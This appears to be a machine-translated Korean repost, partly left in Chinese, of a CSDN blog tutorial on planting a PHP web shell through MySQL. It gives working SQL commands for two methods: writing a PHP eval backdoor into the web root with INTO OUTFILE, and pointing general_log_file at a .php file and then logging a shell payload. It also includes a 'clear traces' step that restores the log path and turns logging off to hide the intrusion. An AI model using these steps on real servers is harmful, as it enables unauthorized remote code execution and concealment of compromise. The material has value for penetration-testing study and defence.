[Getshell] MySQL 업로드 웹쉘


하나, 직접 outfile 쓰기로 선택

1. 사용 조건
  • 작은 따옴표 (루트)를 사용하려면 웹 디렉토리에 대한 쓰기 권한이 있어야합니다.
  • 웹 사이트의 절대 경로 파악 (phpinfo / php probe / 오류보고 등)
  • secure_file_priv에는 특정 값이 없습니다.
2. secure_file_priv 값보기
show global variables like '%secure%';

secure_file_priv 구성 소개 정보 :

secure_file_priv는 덤프 파일을 outfile로로드하고 load_file () 함수가 파일을 업로드하거나 읽을 수있는 권한을 갖는 디렉토리를 제한하는 데 사용됩니다.

当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

여기에 사진 설명 삽입
secure_file_priv의 값은 읽기 전용 변수이며 구성 파일을 통해서만 수정할 수 있습니다. 관리자가 구성하지 않으면 우리가 직접 테스트하기 때문에 쉘에 쓸 수 없으므로 직접 구성 할 수 있습니다.

MySQL 구성 파일 my.ini에서 구성됩니다.

여기에 사진 설명 삽입

3. 문장 쓰기
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

这里注意路径分隔符要用"\\"

여기에 사진 설명 삽입
웹 사이트의 루트 디렉토리에 a.php가 생성되었는지, 내용이 문장인지 확인하십시오.

여기에 사진 설명 삽입

둘째, 전역 로그를 사용하여 셸에 기록

1. 구성보기

mysql의 로그 상태를 확인하세요.이 로그의 양이 매우 커서 리소스에 대한 오버 헤드가 상대적으로 크기 때문에 기본적으로 비활성화되어 있으므로 프로덕션 환경에서는이 기능을 활성화하지 마십시오!

show variables like '%general%';

여기에 사진 설명 삽입

2. general_log 모드를 켜십시오.

general_log를 켜는 기능 : 사용자가 입력 한 모든 명령을 기록 D:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.log하고 파일에 저장합니다. 실제로 로그 파일
사용 에 대해 자주 말하는 것 입니다. general_log를 켜고 general_log_file의 값을 변경합니다. 웹 사이트의 기본 경로로 특정 사용자 지정 php 파일에서 로그 로그를 통해 트로이 목마라는 단어를 작성한 다음 추가로 사용합니다.

참고 : 로그 경로를 수정하기 전에 소스 경로를 미리 기록해야하며 셸을 가져온 후 원래 경로를 복원해야합니다.

set global general_log = on;

여기에 사진 설명 삽입

3. 로그 디렉토리를 쉘 주소로 수정합니다.
set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\hp.php';
4. 셸에 쓰기

로깅 기능이 켜져 있기 때문에 실행 된 SQL 문이 로그에 기록됩니다.

select '<?php eval($_POST[cmd]);?>'

여기에 사진 설명 삽입

5. 흔적 지우기
set global general_log_file='D:\phpStudy\PHPTutorial\MySQL\data\WIN-83V1721VG9V.log';               // 恢复原log文件路径

set global general_log = off;   // 关闭全局日志

추천

출처blog.csdn.net/weixin_44032232/article/details/109175795